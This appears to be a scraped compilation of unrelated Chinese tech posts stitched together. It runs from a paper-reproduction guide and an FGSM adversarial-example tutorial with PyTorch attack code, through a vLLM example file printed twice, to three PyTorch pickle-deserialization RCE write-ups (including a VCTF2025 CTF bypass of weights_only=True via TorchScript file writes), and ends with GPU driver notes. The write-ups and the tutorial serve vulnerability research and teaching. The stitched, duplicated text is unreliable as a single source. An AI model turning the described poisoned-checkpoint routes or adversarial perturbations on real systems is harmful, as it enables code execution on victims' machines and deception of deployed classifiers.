pip install --upgrade -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple

Step 5 执行推理

由于这个项目的README.md文件先介绍的如何推理,再介绍了如何训练。所以,我们先执行推理,看一下推理效果。

(1) 准备工作:

① 由于CPU无法满足推理算力需求,所以需要重启Lab4AI实例并选择1卡GPU;

②在终端执行conda activate doodle激活之前创建的Conda 环境,再通过cd 路径命令进入 PhotoDoodle 代码目录。

(2) 运行推理代码:

python inference.py

(3) 常见问题解决:

运行代码时出现一些依赖冲突与缺失的问题

  • “安装的 diffusers 版本过低”
  • huggingface-hub 版本过高,与其他不兼容”
  • “缺少PEFT库”
  • “安装的PEFT库版本过高与transformers库的版本不兼容”
    等等……


遇到这些问题时,最好的方法是参考项目文档中提供的建议,查看GitHub Issues寻找解决方案,您也可以询问AI大模型寻找解决办法。

(4)自定义输出:

修改inference.py中的输入图像路径、编辑提示词等参数,重新运行可以看到获得不同的输出结果。

Step 6 执行推理下载数据集和训练模型

训练数据集与预训练模型是多数论文复现项目的基础支撑。《PhotoDoodle》项目的数据集及预训练模型的下载链接,都能在项目 GitHub 仓库的 README 文件中找到。

在下载数据和预训练模型时,出现了多次因为网络问题而无法下载数据和模型的情况。核心原因可归为四类:

  • 第一:跨境网络限制。模型或数据多存于HuggingFace、GitHub、GoogleDrive等境外站点,国内直连易被限流、阻断。
  • 第二:源站或链路问题。源站限速、链接失效、CDN节点故障,或下载高峰导致服务器拥堵都可能导致网络问题。
  • 第三:本地配置问题。代理或梯子配置错误、防火墙拦截、下载工具无断点续传(大文件易断连),或本地带宽或网络稳定性差。
  • 第四:权限或合规限制。部分数据集或模型需授权访问,或源站设地域或IP限流,未满足则被拒绝连接。

遇到网络问题时,您可以使用可靠的下载工具或者科学上网。

Step 7 执行训练

(1) 按论文提供的脚本执行

一旦完成了环境配置和数据准备,接下来的步骤就是开始训练。执行训练代码时,我们依据GitHub项目中给出的命令执行。

(2)个性化训练

您也可以做一些个性化训练,按data 文件夹的格式组织自己的数据集,修改脚本中的参数即可实现自定义训练。

复现高频问题及解决方案

总结一下此次复现环节踩的坑以及对应的解决方法。

小贴士:复现时一定要记笔记!把遇到的问题、解决方案、参数调整记录下来,下次复现能少走很多弯路~

案论文复现总结

论文复现的环境配置是一项系统性的工作。对新手而言,关键要抓住三个核心:

  • 前期筛选:用“三查”原则,查信息完整性、查代码一致性、查资源可行性。选择合适的开源项目,避开半开源、信息缺失的项目;
  • 环境配置:借助大模型实验室Lab4AI平台的预配置环境和独立虚拟环境,锁定依赖版本,按“安装 - 验证 - 调整”的步骤逐步推进,避免版本冲突;
  • 问题解决:遇到网络、依赖、配置问题时,按“定位原因 - 查找适配方案 - 验证效果”的逻辑处理,善用社区 issue、官方文档、镜像源工具和AI大模型工具。

每一次成功的环境配置,都是对你工程解决问题能力的一次极好锻炼。希望这份详细指南能帮你避开弯路,顺利开启论文复现之旅。

Lab4AI大模型实验室,能为你提供一键复现方案,有效规避论文复现中的各类坑!

平台实现算力与实践场景的无缝衔接,配备充足 H 卡算力,支持模型复现、训练、推理全流程,更具备灵活弹性、按需计费、低价高效的优势,完美解决缺高端算力、算力成本高的核心痛点。

祝你复现顺利!

GitLink开源创新服务平台与Lab4AI大模型实验室联合发起「论文头号玩家」论文复现计划。寻找百万「论文头号玩家」计划 | 首批复现体验官开放申请,最高可获500元算力金!本计划开放高性能H800 GPU算力,旨在降低复现门槛,推动学术成果的实践转化。
<div align="center">
参与活动您将获得:
</div>
<p align="center">
<img src="http://llamafactory-online-assets.oss-cn-beijing.aliyuncs.com/lmlab/docs/v1.0/blog/synchronize/jy_fuxian-15.png">
</p>

下图展示了一个有趣的现象:在法国斗牛犬的图像上添加一小块对抗性补丁后,VGG分类器竟然以极高的置信度将其判定为足球。Grad-CAM可视化清楚地显示,模型的注意力完全从狗身上转移到了那块补丁——一个精心构造的小扰动就足以劫持整个决策过程。

95%准确率的模型可能不堪一击

ResNet、VGG、EfficientNet这些主流架构在ImageNet上动辄90%以上的准确率,看起来已经相当可靠。但这些模型隐藏着一个被多数工程师忽视的致命缺陷:它们极易被对抗样本愚弄。

改变一个像素,可能肉眼完全看不出区别,但分类器会彻底崩溃。本文会用FGSM(快速梯度符号法)演示如何制作对抗样本,并解释神经网络为何如此脆弱。

对抗样本到底是什么

简单说,对抗样本就是专门设计来欺骗模型的输入。和随机噪声不同,这种扰动是经过精确计算的——目标是在人眼察觉不到的前提下,最大化模型的预测误差。

这里存在一个悖论:模型可以正确识别成千上万张图片,但只要加上一点经过数学优化的噪声(像素值变化不到1%),它就会完全判断失误。

对抗攻击绝非学术界的自娱自乐。自动驾驶汽车可能把停车标志识别成限速标志;人脸识别系统可能被绕过;放射科AI可能给出错误诊断;有害内容可能躲过审核系统的检测。

问题的根源在于:分类器学到的是统计层面的捷径,而非真正的语义理解。高准确率和高安全性是两回事。

FGSM:简单却致命的攻击方法

Ian Goodfellow等人在2015年提出的FGSM至今仍是最经典的对抗攻击之一。它的原理出奇地简单,但恰恰暴露了深度神经网络的根本弱点。

数学原理

给定分类器和输入图像,FGSM计算一个扰动把图像推向错误分类的方向。具体做法是沿着损失函数梯度的方向移动每个像素,用epsilon参数控制扰动幅度,确保改动在视觉上不可察觉。

FGSM为何有效

深度网络虽然有非线性激活函数但在局部表现出近似线性的特性。每个像素上的微小变化会在高维空间中累积,最终在输出空间产生巨大偏移。梯度恰好指明了这个最有效的攻击方向——随机噪声做不到的事情,梯度对齐的噪声可以轻松做到。

上图就是是Goodfellow等人最初展示的结果:在熊猫图像上叠加梯度符号计算得到的微小扰动,模型就会以极高置信度将其误判为长臂猿。两张图片在人眼看来毫无差别,但神经网络的判断却天差地别。

Python实战:构建你的第一个对抗样本

下面用PyTorch和预训练的ResNet-50从零实现一个对抗样本。

先安装依赖:

 pip install torch torchvision matplotlib numpy pillow

导入必要的库:

 import torch  
 import torch.nn.functional as F  
 import torchvision.models as models  
 import torchvision.transforms as transforms  
 import matplotlib.pyplot as plt  
 import numpy as np  
 from PIL import Image

第一步:加载分类器

用ResNet-50作为目标模型。这个架构在生产环境中很常见,而且支持梯度计算:

 model=models.resnet50(pretrained=True)  
 model.eval()

第二步:准备图像

按ImageNet标准预处理输入图像:

 transform=transforms.Compose([  
    transforms.Resize((224, 224)),  
    transforms.ToTensor(),  
])

img=Image.open("your_image.jpg").convert("RGB")  
x=transform(img).unsqueeze(0)  
 x.requires_grad=True

注意

requires_grad=True

这行。没有它就无法计算梯度,对抗攻击也就无从谈起。

第三步:获取原始预测

跑一次前向传播,看看模型本来会给出什么分类:

 logits=model(x)  
 pred=logits.argmax(dim=1)  
 print(f"Original prediction: {pred.item()}")

正常情况下模型应该能正确分类。

第四步:FGSM攻击

核心代码如下:

 label = pred  
loss = F.cross_entropy(logits, label)  
loss.backward()

epsilon = 0.01  # perturbation budget
perturbation = epsilon * x.grad.sign()  
x_adv = x + perturbation  
 x_adv = torch.clamp(x_adv, 0, 1)

这段代码做了什么?计算损失对输入像素的梯度,取符号得到方向,乘以epsilon控制幅度,加到原图上就得到对抗样本。最后用clamp保证像素值在合法范围内。

第五步:检验效果

用同一个模型测试对抗图像:

 logits_adv=model(x_adv)  
 pred_adv=logits_adv.argmax(dim=1)  
 print(f"Adversarial prediction: {pred_adv.item()}")

大多数情况下预测结果会完全不同。图像看起来一样,分类却天壤之别。

第六步:可视化

把原图、对抗图、噪声模式放在一起对比:

 def show_adversarial_attack(original, adversarial, perturbation):  
    fig, axes = plt.subplots(1, 3, figsize=(15, 5))  
      
    axes[0].imshow(original)  
    axes[0].set_title("Original Image")  
    axes[0].axis("off")  
      
    axes[1].imshow(adversarial)  
    axes[1].set_title("Adversarial Image")  
    axes[1].axis("off")  
      
    axes[2].imshow(perturbation, cmap="gray")  
    axes[2].set_title("Noise Pattern (10x Amplified)")  
    axes[2].axis("off")  
      
    plt.tight_layout()  
    plt.show()

orig_np = x.detach().squeeze().permute(1, 2, 0).numpy()  
adv_np = x_adv.detach().squeeze().permute(1, 2, 0).numpy()  
noise_np = (adv_np - orig_np) * 10
 show_adversarial_attack(orig_np, adv_np, noise_np)

噪声模式放大10倍后看起来像电视雪花。人眼根本分辨不出两张图的区别,但神经网络却认为它们是完全不同的物体。

神经网络为何如此脆弱

理解这个问题需要从三个角度切入。

高维几何:一张224×224的RGB图像有150,528个维度。在这么高的维度里每个维度上的微小扰动累加起来就是巨大的距离。

局部线性:尽管激活函数是非线性的,深度网络在数据点附近的小邻域内表现得非常线性,这让基于梯度的攻击特别有效。

非泛化特征:研究发现模型大量依赖那些与标签相关、但与人类感知无关的统计模式。对抗样本正是在利用这些"捷径特征"。

一个令人不安的事实:深度学习模型优化的目标是训练集上的准确率,而不是对扰动的泛化性。

一些限制需要说明

FGSM只是单步攻击算比较弱的。迭代方法如PGD和Carlini-Wagner攻击力更强也更难防御。

本文的演示假设攻击者能拿到模型权重和梯度,属于白盒场景。现实中攻击者可能只能观察模型输出,需要用黑盒攻击技术或者利用对抗样本的迁移性。

数字扰动只是一种形式。物理世界的对抗样本——比如贴在物体上的特制贴纸——可以在不同光照和角度下持续欺骗视觉系统。

防御手段确实存在:对抗训练、输入预处理、集成方法、认证防御等等。但这些方法往往要牺牲准确率,而且没有哪个能提供完全的保护。

防御策略

几种主流防御思路:

对抗训练把对抗样本混入训练数据,让模型学会应对扰动。输入变换用JPEG压缩、随机缩放、降低位深等预处理来破坏对抗扰动。集成防御结合多个模型的预测或引入随机性来增加攻击难度。认证防御用随机平滑等技术在一定范围内提供数学上的泛化性保证。检测方法则训练专门的模型来识别对抗样本。

每种方法都有代价,在泛化性、准确率、计算开销之间做权衡。

总结

对抗样本揭示的是统计优化和人类感知之间的根本鸿沟。深度学习擅长模式匹配,但它并不理解图像的语义。

对抗样本不会消失。这不是可以修复的bug而是当前深度学习架构的内在属性。随着AI在关键基础设施中的应用越来越广,理解和缓解对抗脆弱性变得愈发重要。

泛化性应该和准确率、公平性、效率一样,成为一等公民级别的工程需求。否则,高准确率带来的只是虚假的安全感。

https://avoid.overfit.cn/post/935d5167003748db859452026a44b056

作者: Sarthakvyadav

vLLM 是一款专为大语言模型推理加速而设计的框架,实现了 KV 缓存内存几乎零浪费,解决了内存管理瓶颈问题。

更多 vLLM 中文文档及教程可访问 →https://vllm.hyper.ai/

*在线运行 vLLM 入门教程:零基础分步指南

源码 examples/offline_inference/rlhf_utils.py

import torch


def stateless_init_process_group(master_address, master_port, rank, world_size,
                                 device):

    """
    vLLM 提供 `StatelessProcessGroup` 来创建进程组,
    无需考虑 torch.distributed 中的全局进程组。
    建议先创建 `StatelessProcessGroup`,然后初始化
    外部(训练进程)与 vLLM 工作进程之间的数据平面通信(NCCL)。
    """
    from vllm.distributed.device_communicators.pynccl import PyNcclCommunicator
    from vllm.distributed.utils import StatelessProcessGroup
    pg = StatelessProcessGroup.create(host=master_address,
                                      port=master_port,
                                      rank=rank,
                                      world_size=world_size)
    pynccl = PyNcclCommunicator(pg, device=device)
    return pynccl


class WorkerExtension:

    """
    vLLM 工作进程的基类。
    通过定义扩展类,无论底层工作进程类是什么,代码都能正常工作。
    这种方式使代码能同时兼容 vLLM V0 和 V1。
    注意:我们在单独模块中定义此类,主模块应将完整限定名
    作为 `worker_extension_cls` 参数传递。
    """

    def init_weight_update_group(self, master_address, master_port,
                                 rank_offset, world_size):
        from vllm.distributed.parallel_state import get_world_group
        rank = get_world_group().rank + rank_offset
        self.model_update_group = stateless_init_process_group(
            master_address,
            master_port,
            rank,
            world_size,
            self.device,
        )

    def update_weight(self, name, dtype, shape):
        weight = torch.empty(shape, dtype=dtype, device="cuda")
        self.model_update_group.broadcast(weight,
                                          src=0,
                                          stream=torch.cuda.current_stream())

        self.model_runner.model.load_weights(weights=[(name, weight)])

        del weight

    def check_weights_changed(self):
        """
        Check if the weights are updated to 0.
        """
        """
        检查权重是否已更新为 0。
        """
        weights_updated = True
        for name, p in self.model_runner.model.named_parameters():
            weights_updated = weights_updated and torch.allclose(
                p, torch.zeros_like(p))
        return weights_updated


class ColocateWorkerExtension:

    """
    vLLM 工作进程在协同部署场景下的基类。
    通过定义扩展类,无论底层工作进程类是什么,代码都能正常工作。
    这种方式使代码能同时兼容 vLLM V0 和 V1。
    注意:我们在单独模块中定义此类,主模块应将完整限定名
    作为 `worker_extension_cls` 参数传递。
    """

    def report_device_id(self) -> str:
        from vllm.platforms import current_platform
        self.device_uuid = current_platform.get_device_uuid(self.device.index)
        return self.device_uuid

    def update_weights_from_ipc_handles(self, ipc_handles):
        handles = ipc_handles[self.device_uuid]
        device_id = self.device.index
        weights = []
        for name, handle in handles.items():
            func, args = handle
            list_args = list(args)
            # the key is to change device id to the current device id
            # in case two processes have different CUDA_VISIBLE_DEVICES
            # 关键是将设备 ID 改为当前设备 ID,
            # 以防两个进程有不同的 CUDA_VISIBLE_DEVICES
            list_args[6] = device_id
            tensor = func(*list_args)
            weights.append((name, tensor))
        self.model_runner.model.load_weights(weights=weights)
        torch.cuda.synchronize()

    def check_weights_changed(self):

        """
        检查权重是否已更新为0。
        """
        weights_updated = True
        for name, p in self.model_runner.model.named_parameters():
            weights_updated = weights_updated and torch.allclose(
                p, torch.zeros_like(p))
        return weights_updated

vLLM 是一款专为大语言模型推理加速而设计的框架,实现了 KV 缓存内存几乎零浪费,解决了内存管理瓶颈问题。

更多 vLLM 中文文档及教程可访问 →https://vllm.hyper.ai/

*在线运行 vLLM 入门教程:零基础分步指南

源码 examples/offline_inference/rlhf_utils.py

import torch


def stateless_init_process_group(master_address, master_port, rank, world_size,
                                 device):

    """
    vLLM 提供 `StatelessProcessGroup` 来创建进程组,
    无需考虑 torch.distributed 中的全局进程组。
    建议先创建 `StatelessProcessGroup`,然后初始化
    外部(训练进程)与 vLLM 工作进程之间的数据平面通信(NCCL)。
    """
    from vllm.distributed.device_communicators.pynccl import PyNcclCommunicator
    from vllm.distributed.utils import StatelessProcessGroup
    pg = StatelessProcessGroup.create(host=master_address,
                                      port=master_port,
                                      rank=rank,
                                      world_size=world_size)
    pynccl = PyNcclCommunicator(pg, device=device)
    return pynccl


class WorkerExtension:

    """
    vLLM 工作进程的基类。
    通过定义扩展类,无论底层工作进程类是什么,代码都能正常工作。
    这种方式使代码能同时兼容 vLLM V0 和 V1。
    注意:我们在单独模块中定义此类,主模块应将完整限定名
    作为 `worker_extension_cls` 参数传递。
    """

    def init_weight_update_group(self, master_address, master_port,
                                 rank_offset, world_size):
        from vllm.distributed.parallel_state import get_world_group
        rank = get_world_group().rank + rank_offset
        self.model_update_group = stateless_init_process_group(
            master_address,
            master_port,
            rank,
            world_size,
            self.device,
        )

    def update_weight(self, name, dtype, shape):
        weight = torch.empty(shape, dtype=dtype, device="cuda")
        self.model_update_group.broadcast(weight,
                                          src=0,
                                          stream=torch.cuda.current_stream())

        self.model_runner.model.load_weights(weights=[(name, weight)])

        del weight

    def check_weights_changed(self):
        """
        Check if the weights are updated to 0.
        """
        """
        检查权重是否已更新为 0。
        """
        weights_updated = True
        for name, p in self.model_runner.model.named_parameters():
            weights_updated = weights_updated and torch.allclose(
                p, torch.zeros_like(p))
        return weights_updated


class ColocateWorkerExtension:

    """
    vLLM 工作进程在协同部署场景下的基类。
    通过定义扩展类,无论底层工作进程类是什么,代码都能正常工作。
    这种方式使代码能同时兼容 vLLM V0 和 V1。
    注意:我们在单独模块中定义此类,主模块应将完整限定名
    作为 `worker_extension_cls` 参数传递。
    """

    def report_device_id(self) -> str:
        from vllm.platforms import current_platform
        self.device_uuid = current_platform.get_device_uuid(self.device.index)
        return self.device_uuid

    def update_weights_from_ipc_handles(self, ipc_handles):
        handles = ipc_handles[self.device_uuid]
        device_id = self.device.index
        weights = []
        for name, handle in handles.items():
            func, args = handle
            list_args = list(args)
            # the key is to change device id to the current device id
            # in case two processes have different CUDA_VISIBLE_DEVICES
            # 关键是将设备 ID 改为当前设备 ID,
            # 以防两个进程有不同的 CUDA_VISIBLE_DEVICES
            list_args[6] = device_id
            tensor = func(*list_args)
            weights.append((name, tensor))
        self.model_runner.model.load_weights(weights=weights)
        torch.cuda.synchronize()

    def check_weights_changed(self):

        """
        检查权重是否已更新为0。
        """
        weights_updated = True
        for name, p in self.model_runner.model.named_parameters():
            weights_updated = weights_updated and torch.allclose(
                p, torch.zeros_like(p))
        return weights_updated

PyTorch 最新版本反序列化漏洞分析 前言 AI入门学习Transformers架构的时候,最忘不掉的无过于主播手把手教你用PyTorch手搓一个Transformers了,哈哈哈哈哈哈 一、漏洞描述 根本原因在于调用 torch.load 时使用了 weights_only=False,这启用了通过 pickle 模块进行的不安全反序列化,从而导致任意代码执行。torch.load 底层使用了 Python 的 pickle。当 weights_only=False 时,它会反序列化并重构文件中存储的任意 Python 对象。对来自不受信任或被篡改的检查点数据进行反序列化,会执行攻击者控制的代码,从而导致远程代码执行 (RCE)。 当加载 .pt2 归档文件时,torch.export.load() 遵循以下路径:它调用 load_pt2() 来枚举归档内容 → 进入 _load_exported_programs() → 然后调用 _load_constants()。如果归档中的任何常量被标记为 use_pickle=True 且其文件名以 tensor 开头,它就会执行 torch.load(io.BytesIO(constant_bytes), weights_only=False),从而触发 Python Pickle 反序列化。因此,如果 .pt2 文件包含恶意的 Pickle 常量,运行 torch.export.load() 可能会导致任意代码执行。 torch.export.load() 不允许配置 weights_only=True 参数。它总是执行 torch.load(io.BytesIO(constant_bytes), weights_only=False) —— 这个值是硬编码的。因此,加载恶意模型的用户不可避免地会面临被入侵的风险。

二、环境搭建 这个没有什么好搭建的,因为就是一个组件,下载最新版本的包就好了

三、漏洞分析 完整调用链追踪

漏洞代码分析 torch.export.load() 文件: torch/export/__init__.py

分析: 入口函数接收文件路径,调用 load_pt2() 加载 PT2 存档文件。

load_pt2() - 加载 PT2 存档 文件: torch/export/pt2_archive/_package.py

分析: load_pt2() 打开 PT2 存档文件,调用 _load_exported_programs() 处理模型文件。

_load_exported_programs() - 加载导出的程序 文件: torch/export/pt2_archive/_package.py

分析: _load_exported_programs() 遍历模型文件,调用 _load_constants() 加载常量数据。

_load_constants() - 加载常量(漏洞触发点) 文件: torch/export/pt2_archive/_package.py 这一步很关键,因为是有很多限制条件的

总结一下能够触发的条件 1path_name.startswith("tensor") 2payload_meta.use_pickle == True 3 weights_only=False 硬编码: 该值无法通过 torch.export.load() API 覆盖

torch.load() - Pickle 反序列化 文件: torch/serialization.py

weights_only=False 时,torch.load() 使用标准 pickle 反序列化,会触发对象的 __reduce__() 方法,导致任意代码执行。

四、漏洞复现 根据漏洞原理,步骤就是生成恶意文件和触发了 恶意模型生成脚本 文件: model.py

注意构造需要满足刚刚上面提到的条件

触发脚本 现在就是我们需要去触发了 文件: poc.py

然后我们查看文件

五、漏洞修复 由于最新版本还是存在这个漏洞,可能是正常功能需要????? 测试版本: PyTorch 2.11.0.dev20260110 六、参考资料

资源
链接
PyTorch 官方文档
CWE-502: 不安全的反序列化
Python Pickle 安全
赏金报告


从 VCTF2025 ez_train学习torch.load反序列化绕过

前言

感觉挺有意思的一道题,赛后看了一下,这个题目主要考察了代码审计和 torch.load 在 weights_only=True 条件下的利用。

题目环境搭建

下载题目附件并解压,

file-20260113204022005.png



题目直接给了 docker 环境,但是是 linux 环境的,为了方便待会调试这里按照题目版本去官网上下载一个 windows 版本的,

file-20260113203804115.png



然后按照题目给的 requirements.txt 中的依赖进行下载,下载好后运行 server.py 启动,启动后如下,

file-20260113204526100.png



这里还注意到题目在 text-generation-webui-3.13\user_data\training\datasets 目录中放了一些文件,一起复制过来。

题目分析

查看题目描述:

file-20260113204951881.png



结合题目名称我们应该主要看 train 模块了,全局搜索发现就只有个 trianing.py 文件

file-20260113205156648.png



然后像这类微调训练大模型的本地 web 应用比较耳熟能详的就是 torch.load 引起的反序列化漏洞了,而这个 training 中就恰好存在这个方法的调用,不难看出这里应该就是出题人的考点了,

file-20260113205625132.png



这段代码大概意思是从 adapter_model.bin 加载 LoRA 的权重参数(只包含 LoRA,不包含基础模型),接着将加载的 LoRA 权重注入到当前的 lora_model 中,如果这个文件内容我们可以控制这里是不是就能进行反序列化了呢?

我们先看这个 {lora_file_path} 能不能控制,简单溯源一下,

file-20260113210229786.png



发现 {lora_file_path} 是由 {Path(shared.args.lora_dir)}{lora_file_path} 拼接而成的,{lora_file_path}lora_name 的值,而这个 lora_name 的值其实就是我们训练时传入的参数,

file-20260113211019396.png


file-20260113211055508.png



至于 {Path(shared.args.lora_dir)} 的值我们调试发现为 user_data/loras 目录,是个固定值,

file-20260113210937792.png



那么现在知道 {lora_file_path} 就一小部分能控制,感觉没什么用啊,而且还需要我们能把文件 adapter_model.bin 文件上传到这个目录下。

后面找了一圈没找到哪里可以上传,但是发现这个应用可以从 huggingface 远程下载 model,而且下载目录就在我们的 user_data/loras 下面吗。简单测试一下,这里填入“paulinsider/llamafactory-hack”,然后点击下载,

file-20260113212126010.png



确实成功把文件下载到了我们要的目录。

file-20260113212353132.png



那么这样思路就清晰了,我们就可以在远程 model 中放入恶意的 adapter_model.bin 文件,然后下载到本地,通过控制训练时的 lora_name 参数使得最后 torch.load 加载的文件是我们的恶意文件,

这里简单尝试一下,假设刚刚下载的 paulinsider_llamafactory-hack 目录下存在恶意 adapter_model.bin 文件,我们填写训练 lora_name 为 paulinsider_llamafactory-hack

file-20260113213321532.png



点击训练后,看到成功使得 torch.load 的文件是我们能控制的文件了,

file-20260113213310006.png



但是这里还是没法进行反序列化,因为这里得 lora_name 设置了weights_only 参数为 True。

torch.load 反序列化绕过

查看题目的requirements.txt 文件发现给的 torch 版本为 2.5.1,网上简单搜了下不难发现其实还是存在绕过方法的,

file-20260113214328275.png



参考 https://i.blackhat.com/BH-USA-25/Presentations/US-25-Jian-Lishuo-Safe-Harbor-or-Hostile-Waters.pdf ,我们先看看这个 weights_only 的工作原理

生成个恶意的 pickle 反序列化文件

torch.load demo

进入 torch.load 中看到当 weights_only 为 true 时会调用到 _legacy_load 方法,

file-20260113215502623.png



然后一直到 pickle_module.load 方法,

file-20260113215923584.png



和正常的 pickle.load() 不一样,这里会调用到 Unpickler.load() 方法,这里面会依次读取字节,然后对每个字节进行判断,对全局变量和函数都有白名单进行限制

file-20260113220408194.png



只能用白名单中提供的,

file-20260113220439125.png



这个白名单是绕不过了,其中也没什么有用的,根据参考文章知道在 torch.load 中其实还调用了 torch.jit.load 方法,而且不受weights_only 参数影响,这个方法可以加载一个已经用 TorchScript 保存好的模型,用于直接推理(不需要原始 Python 代码)

file-20260113220646171.png



所以现在关键是看怎么生成个恶意的 TorchScript 模型,这里面涉及到了 TorchScript 运算符的概念,根据参考文章知道作者是发现了 torch.save 最后可以调用到 aten::save 运算符实现写文件操作,所以最后生成恶意的 TorchScript 模型代码如下

这里注意到在 torch.load 代码下面还有个 newModule.items() 方法调用 ,这里是漏洞触发点,如果只返回了 TorchScript 模型对象是没办法触发到里面的 torch.save 方法,

回到题目,我们可以让adapter_model.bin 为恶意的 TorchScript 模型,然后我们还需要找下触发点,

file-20260113221624043.png



看到返回 state_dict_peft 后调用了 set_peft_model_state_dict 方法进行处理,跟进这个 set_peft_model_state_dict ,把 state_dict_peft 赋值给了state_dict

file-20260113221730914.png



后面又调用到了 _insert_adapter_name_into_state_dict

file-20260113221818019.png



最后发现调用的还是 items 方法

file-20260113221958131.png



所以直接用上面的 poc 就可以了,这里就直接把生成的恶意文件复制到 paulinsider_llamafactory-hack 目录下,然后和上面一下训练

file-20260113223421839.png



成功实现写文件操作

file-20260113223444024.png



查看题目给的 docker 文件不难发现最后应该是通过写定时任务实现 rce。

参考

https://i.blackhat.com/BH-USA-25/Presentations/US-25-Jian-Lishuo-Safe-Harbor-or-Hostile-Waters.pdf

https://github.com/ChaMd5Team/Venom-WP/blob/main/2025VenomCTF/2025_venomctf_web_ez_train.pdf

https://mp.weixin.qq.com/s/2VsxBTIiX5P8b16Rl1ylcA


PyTorch Distributed Checkpoint 远程代码执行漏洞分析

漏洞描述





PyTorch 的分布式检查点模块中的 FileSystemReader 类在 read_metadata() 方法中使用不安全的 pickle.load() 函数反序列化检查点元数据文件,且未对数据来源进行任何验证。攻击者可以通过构造包含恶意 pickle 数据的检查点文件,当受害者使用 FileSystemReader 加载该检查点时,恶意代码将在反序列化过程中自动执行,从而实现任意代码执行。

环境搭建

直接最新的版本就可以

漏洞复现

PoC 代码









为什么需要 MaliciousMetadata 对象呢?


因为 read_metadata() 期望反序列化后得到一个 Metadata 对象

如果直接 pickle.dump(MaliciousPayload()),反序列化时会报错

所以构造一个Metadata 的对象,把恶意负载嵌进去



漏洞分析

漏洞原理并不难,就是根据漏洞点去构造触发文件

FileSystemReader,漏洞点

文件位置: torch/distributed/checkpoint/filesystem.py

这个类也是会读取 read_metadata,metadata,并反序列化处理





很明显,在这个点上

无输入验证: 未验证 .metadata 文件来源
无类白名单: 允许反序列化任意 Python 类
自动调用: 加载检查点时自动触发
完全信任用户输入: path 参数完全由用户控制





Pickle 反序列化原理

Python 的 pickle 模块用于对象的序列化和反序列化。在反序列化过程中,pickle 会自动调用对象的 __reduce__() 方法来重建对象

我们在 __reduce__() 写入恶意代码

攻击场景

可以分为一些场景

场景一: HuggingFace 模型投毒

场景二: 训练脚本 CLI 注入

场景三: MLOps 平台上传

总结

通过数据流向,让 AI 画一个图,很清晰

漏洞修复

官方并没有修复,因为被认定为重复漏洞,但是最新版本还是可以复现,下面是一些修复方法

Unpickler/白名单

修复后的 read_metadata() 方法:

添加 safe_mode 参数



参考资料

CWE-502: Deserialization of Untrusted Data

Python pickle Documentation

OWASP Deserialization Cheat Sheet

赏金报告

最近发现 ComfyUI 终于支持 AMD 显卡了,之前都是在 Debian 用 ROCm 跑这个,但是双系统有点麻烦,发现 ComfyUI 支持之后,就赶紧体验了一下,下载了 ComfyUI Desktop

结果跑了好几个模板工作流都不行,表现为:点击运行后,提示 disconnect,再点击运行就提示 TypeError: Failed to Fetch,日志也无法查看,此时就推测是后端崩溃了,但是 Desktop 版本不够灵活,好像没办法直接看 ComfyUI 后端,于是切换了 GitHub 上构建的 Portable 版本。

切换到 Portable 版本后,发现问题还是一样,点击运行后,确定后端崩溃,但是没有任何报错,就像程序被正常退出一样,此时就感觉有点迷惑,不知道怎么定位问题,然后就去问了下 Gemini , Gemini 的回答是 Python 是 静默崩溃 (Silent Crash)底层 C++ 库(PyTorch/ROCm)崩溃或者显卡驱动触发了保护机制(TDR)强制杀死了进程 ,要嘛是显存爆了,要嘛就是 bf16 兼容性问题,然后给了一些没啥用的解决方案。

没办法,只能老办法,去 GitHub 上看 issue ,看看有没有相同情况的人,幸运的是正好找到了差不多情况的,Confyuai AMD GPU crash - AMD Radeon RX 6650 XT: failed to run amdgpu-arch binary not found. · Issue #11524 · Comfy-Org/ComfyUI · GitHub , 看到下面有个回复说到他的 RX6600XT 用了别人构建的 ROCm 运行的很好,于是我就想到了极有可能是 Python 的 cuda 模块并不能正常运行,我就用 Portable 内嵌的 Python 环境(也就是 ComfyUI 使用的 Python 环境)进行了测试:

#ComfyUI_windows_portable\python_embeded>python.exe print(torch.cuda.is_available()) # True print(torch.cuda.get_device_name(0)) # AMD Radeon RX 6600 XT 

这么一看,好像 cuda 没有什么问题?但是当我换另外一种方法测试,就发现问题所在了:

x = torch.rand(50000, 30000).cuda() 
print(x) # 崩溃了! 

这下可以确定是 cuda 的问题了,直接用 GitHub - guinmoon/rocm7_builds: My own ROCm windows builds from TheRock repository for various architectures such as 680m, 780m, rx6600, etc. 重装 ROCm 和 torch。

#注意用 ComfyUI 内嵌的 Python 环境去安装依赖
ComfyUI_windows_portable\python_embeded\python.exe -m pip install "rocm-7.2.0.tar.gz" "rocm_sdk_libraries_custom-7.2.0-py3-none-win_amd64.whl" "rocm_sdk_devel-7.2.0-py3-none-win_amd64.whl" "rocm_sdk_core-7.2.0-py3-none-win_amd64.whl"

ComfyUI_windows_portable\python_embeded\python.exe -m pip install "torch-2.9.1+rocmsdk20251203-cp312-cp312-win_amd64.whl" "torchaudio-2.9.0+rocmsdk20251203-cp312-cp312-win_amd64.whl" "torchvision-0.24.0+rocmsdk20251203-cp312-cp312-win_amd64.whl"

安装完之后,重试一下

x = torch.rand(50000, 30000).cuda() 
print(x) # 正常输出 

完美解决,ComfyUI 也能正常生图了,不会再出现静默崩溃的情况了。


📌 转载信息
转载时间:
2026/1/14 18:31:29

目录帖:

PS:看完的佬友可以发条评论,最近几章的阅读量越来越少,是行文出了问题或是难以理解?还是单纯的帖子被淹没了?

============ 以下正文 ============

驱动的安装

在这里只讲 Ubuntu 和 Windows 的。首先说 Windows,大家应该都非常熟悉了,官网下载驱动包一键安装就行。

对于 Ubuntu 来说,大部分情况下建议采用如下方式安装驱动,而非官网下载.run 文件安装驱动:

  • /etc/modprobe.d/blacklist.conf 的末尾追加 blacklist nouveau 并执行 sudo update-initramfs -u && reboot 以禁用 nouveau

  • 执行 ubuntu-drivers devices 以查询推荐驱动。如:

    (base) root@ubuntu:~# ubuntu-drivers devices
    == /sys/devices/pci0000:c0/0000:c0:01.1/0000:c1:00.0 ==
    modalias : pci:v000010DEd00002684sv000010DEsd000016F3bc03sc00i00
    vendor   : NVIDIA Corporation
    model    : AD102 [GeForce RTX 4090]
    driver   : nvidia-driver-535 - distro non-free
    driver   : nvidia-driver-570-server-open - distro non-free
    driver   : nvidia-driver-580-open - distro non-free
    driver   : nvidia-driver-580-server - distro non-free
    driver   : nvidia-driver-535-server - distro non-free
    driver   : nvidia-driver-570 - distro non-free
    driver   : nvidia-driver-580 - distro non-free recommended
    driver   : nvidia-driver-535-open - distro non-free
    driver   : nvidia-driver-580-server-open - distro non-free
    driver   : nvidia-driver-570-open - distro non-free
    driver   : nvidia-driver-535-server-open - distro non-free
